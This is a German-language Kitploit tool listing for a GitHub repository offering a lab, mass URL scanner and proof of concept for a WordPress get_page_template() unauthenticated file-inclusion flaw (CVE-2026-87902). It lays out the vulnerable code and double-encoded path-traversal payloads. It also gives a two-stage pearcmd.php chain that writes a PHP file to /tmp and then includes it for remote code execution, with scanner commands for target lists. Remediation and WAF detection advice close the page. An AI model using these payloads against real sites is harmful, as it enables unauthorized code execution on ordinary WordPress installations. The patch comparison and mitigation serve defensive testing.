Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2026-87902-wordpress-lfi-lab — Reproduktions-Lab + URL-Listen-Scanner + PoC für CVE-2026-87902 / GHSA-7hp8-65ch-5whp — WordPress get_page_template() unauthentifizierte LFI zu bedingter RCE (WP 4.7.0-7.1.1, behoben in 7.1.2). Autorisierte/defensive Tests. | Kitploit
Tools/GitHubGitHub/dinosn/cve-2026-87902-wordpress-lfi-lab
SchwachstellenscannerWeb-SchwachstellenscannerSchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & Bildung
Payload-Entwicklung
Labs & Praxis
GitHubdinosn/cve-2026-87902-wordpress-lfi-lab

cve-2026-87902-wordpress-lfi-lab

Reproduktions-Lab + URL-Listen-Scanner + PoC für CVE-2026-87902 / GHSA-7hp8-65ch-5whp — WordPress get_page_template() unauthentifizierte LFI zu bedingter RCE (WP 4.7.0-7.1.1, behoben in 7.1.2). Autorisierte/defensive Tests.

Repository anzeigen
37vor 1 TagNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-87902 / GHSA-7hp8-65ch-5whp — WordPress get_page_template() unauthentifizierte LFI → bedingte RCE

Reproduktions-Lab + URL-Listen-Scanner + PoC, gebaut und Ende-zu-Ende validiert gegen echte WordPress 7.1.1 (verwundbar) und 7.1.2 (gepatcht) im Docker-Lab.

  • Advisory: https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  • Typ: CWE-98 unsachgemäße Kontrolle des Dateinamens für include/require (Path Traversal → lokale PHP-Inklusion)
  • Betroffen: WordPress 4.7.0 – 7.1.1 (behoben in 7.1.2 und branch-spezifischen Backports: 7.0.6, 6.9.9, 6.8.10 … bis hinunter zu 4.7.37)
  • Auth: keine. CVSS 4.0: 9.2 (AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)
  • Voraussetzungen: (1) aktives Theme hat ein Verzeichnis der obersten Ebene namens page-* (z. B. — vorhanden in Twenty Twelve, Twenty Fourteen, Neve, Hestia, Sydney); (2) nur für RCE: eine lesbare und .
page-templates/
pearcmd.php
register_argc_argv=On

1. Ursache (verifiziert gegen 7.1.1 vs. 7.1.2 Quellcode)

wp-includes/template.php :: get_page_template() baut einen Template-Kandidaten aus der angreiferkontrollierten pagename-Query-Variable ohne validate_file():

root@kitploit:~
// WordPress 7.1.1 (VULNERABLE)
if ( $pagename ) {
    $pagename_decoded = urldecode( $pagename );
    if ( $pagename_decoded !== $pagename ) {          // <-- no validate_file()
        $templates[] = "page-{$pagename_decoded}.php";
    }
    $templates[] = "page-{$pagename}.php";
}
root@kitploit:~
// WordPress 7.1.2 (PATCHED) — the guard the sibling $template branch already had, + realpath containment
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
    $templates[] = "page-{$pagename_decoded}.php";
}
// plus new _wp_is_template_path_allowed() enforcing the resolved path stays inside a theme root

locate_template() führt dann file_exists($theme_dir . '/' . $candidate) aus und includet den Treffer. Da der Kandidat page-{...}.php lautet, muss die Payload ein echtes Theme-Verzeichnis fortsetzen, das mit page- beginnt (z. B. page-templates/) und dann mit ../ zu einer beliebigen lesbaren .php hochklettern.

Doppelkodierung ist zwingend erforderlich. get_query_var('pagename') wird von PHP bereits einfach dekodiert, daher bewirkt ein einfaches ../, dass urldecode($pagename) === $pagename gilt und der verwundbare Zweig übersprungen wird. Ein doppelt kodiertes %252e%252e%252f übersteht die erste Dekodierung als %2e%2e%2f und wird erst durch das zusätzliche urldecode() in ../ umgewandelt — was der Bug ist.


2. Lab (lab/)

Echte Releases nebeneinander auf dem Docker-Host, die sich nur durch den Sicherheitsfix unterscheiden:

ServiceURL (nur Loopback)WordPressRolle
wp-vulnhttp://127.0.0.1:80917.1.1verwundbar
wp-patchedhttp://127.0.0.1:80927.1.2gepatchte Kontrolle
db—MySQL 8.4geteilt (zwei Datenbanken)

Basis-Image wordpress:php8.3-apache (das bereits pearcmd.php und register_argc_argv=On mitbringt), wobei der mitgelieferte Core gegen die authentische wordpress-7.1.1.zip / 7.1.2.zip ausgetauscht wurde. Twenty Fourteen ist aktiviert (echtes page-templates/), und ein page-templates/-Fixture wird ebenfalls im aktiven Theme erstellt. Veröffentlichte Seiten-ID = 2 (Sample Page).

root@kitploit:~
# on the docker lab host
cd /tmp/cve-2026-87902-lab
./up.sh        # build + install both instances (idempotent)
./down.sh      # tear down + remove volumes

Ports binden nur an 127.0.0.1 — die verwundbare Instanz ist niemals netzwerkexponiert.


3. Scanner / PoC (poc/cve-2026-87902-scan.py)

Python 3, nur Standardbibliothek (kein pip install). Nimmt eine Liste von URLs entgegen und meldet, welche verwundbar sind. Der Standard-Scan ist nicht destruktiv: Er inkludiert die schreibgeschützte Core-Datei wp-links-opml.php und sucht nach dem resultierenden OPML-Dokument — Beweis, dass die beliebige .php-Inklusion ausgelöst wurde, ohne Schreibvorgänge und ohne Zustandsänderung.

root@kitploit:~
# single URL
./cve-2026-87902-scan.py http://target/

# a list of your assets, JSON report, 20 workers
./cve-2026-87902-scan.py -f urls.txt --threads 20 --json report.json

# from stdin, only show vulnerable/possibly rows
cat urls.txt | ./cve-2026-87902-scan.py --stdin -q

Wie ein Ziel klassifiziert wird

  1. Fingerprint WordPress + Version (Meta-Generator → Feed <generator> → wp-links-opml.php → readme.html → /wp-includes/-Asset ?ver=).
  2. Ermitteln einer gültigen veröffentlichten Seiten-ID (REST /wp/v2/pages, ?rest_route=-Fallback, Homepage page-id-N, Standard page_id=2) — erforderlich, damit die Anfrage zu einer Page aufgelöst wird und get_page_template() ausgeführt wird.
  3. OPML-Orakel-Sweep: für segment × depth (Standard-Segment templates, Tiefen 4,3,5,6,7) sende page_id=<id>&pagename=<double-encoded ../ → wp-links-opml> (POST, um den kanonischen Redirect zu umgehen) und erfordere ein HTTP 200 mit <opml version="1.0"> + einem strukturellen Sekundärmarker (</opml> / <outline / <dateCreated>).
  4. Negativkontrolle (Kausalitätsnachweis): bei einem Treffer die identische Anfrage erneut senden, diesmal auf eine garantiert nicht existierende .php zeigend. Erscheint OPML weiterhin, ist das OPML umgebungsbedingt (Proxy / Cache / Feed- App), nicht unsere Inklusion → herabgestuft zu POSSIBLY. Nur ein Treffer, dessen Kontrolle sauber ist, ist VULNERABLE.

Robustheit: bewahrt Unterverzeichnispfade (http://host/blog), behandelt gzip/deflate und ungewöhnliche Zeichensätze, wiederholt eine Probe einmal bei Transportfehler, ermittelt/validiert Seiten-IDs (REST → ?rest_route= → Homepage → Standardwerte), erzwingt ein Zeitbudget pro Ziel und behauptet niemals NOT_VULNERABLE aus einer Quelle mit geringer Versionssicherheit (Asset ?ver= / readme.html) — diese werden zu POSSIBLY herabgestuft.

VerdiktBedeutung
VULNERABLEOPML-Orakel ausgelöst — LFI bestätigt (definitiv)
NOT_VULNERABLEgepatchte Branch-Version oder Version außerhalb 4.7.0–7.1.1
POSSIBLY_VULNERABLEverwundbare/unbekannte Version, aber Orakel stumm (wahrscheinlich kein page-*-Theme-Verzeichnis, nicht standardmäßiges Layout oder keine ermittelbare Seiten-ID) — manuell verifizieren
NOT_WORDPRESS / ERRORkeine WP-Indikatoren / Transportfehler

Exit-Code: 2 bei jeglichem VULNERABLE, 1 bei jeglichem POSSIBLY (und keinem VULNERABLE), sonst 0.

Nützliche Flags: --segments, --depths, --method {POST,GET,both}, --page-id, --max-pageids, --max-time (Budget pro Ziel), --timeout, --threads, --proxy, --header, --insecure (TLS aus — nur Dev), --json, --jsonl. Für eine WordPress-Installation in einem Unterverzeichnis die vollständige Basis übergeben (z. B. https://host/blog); bei Bedrock/Core-in-wp/ versucht der Sweep auch wp/-präfixierte Orakel-Ziele.

RCE-Eskalation (Opt-in, Lab-Nutzung)

root@kitploit:~
./cve-2026-87902-scan.py http://target/ --verify-rce --i-have-authorization --page-id 2

Führt die PEAR-pearcmd.php-Kette aus: Der +-getrennte Query-String trägt config-create-argv, die einen anführungszeichenfreien Marker .php unter /tmp schreiben; eine zweite Anfrage inkludiert ihn. Gibt den ausgeführten Marker + php_uname() + uid aus. Schreibt eine Datei auf dem Ziel → Einzelziel, erfordert --i-have-authorization, standardmäßig aus.


4. Nachweise (evidence/)

DateiWas sie beweist
manual-validate.sh / ev-lfi.logOPML-Orakel löst auf 7.1.1 aus (Tiefe 4, POST und GET), stumm auf 7.1.2; nur Tiefe 4 funktioniert; Einfachkodierung schlägt fehl
rce-validate.sh / ev-rce.logvollständige PEAR-RCE auf 7.1.1 (uid=33 als www-data, Tiefe 7); gepatcht schreibt keine Datei, führt nichts aus
ev-scan-table.log / ev-scan-results.jsonScanner über {vuln, patched, non-WP, dead}: VULNERABLE / NOT_VULNERABLE / NOT_WORDPRESS / ERROR

Bewiesene Anfrageformen:

root@kitploit:~
LFI (detection, non-destructive):
  POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml
  -> 200 with <opml version="1.0"> in the body   (depth 4 = webroot on /var/www/html)

RCE (conditional; register_argc_argv=On + readable pearcmd.php):
  Stage 1  POST /?+config-create+/<?=...chr()-built payload...?>+/tmp/x.php
           body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd
  Stage 2  POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx
           -> body contains the executed marker + php_uname() + uid=33

5. Behebung

  • WordPress auf 7.1.2 aktualisieren (oder die behobene Version für Ihren Branch: 7.0.6, 6.9.9, 6.8.10, … 4.7.37).
  • Defense-in-Depth: PHP register_argc_argv=Off für die Web-SAPI setzen und pearcmd.php entfernen/verweigern; dies entfernt die RCE-Eskalation, selbst wenn die LFI erreichbar ist.
  • Erkennung/WAF: nach vollständiger URL-Dekodierung der Parameter-Schlüssel und -Werte (und doppelter Parameter) jeden pagename blockieren, der .. enthält; das gemeinsame Auftreten von page_id + einem pagename, das mit templates%252f beginnt / %252e%252e enthält, auf der Site-Root oder /index.php ist ein nahezu sicheres Exploit-Signal.

Nur autorisiertes Sicherheitstesting, Schulung und defensive Forschung.

Tool herunterladen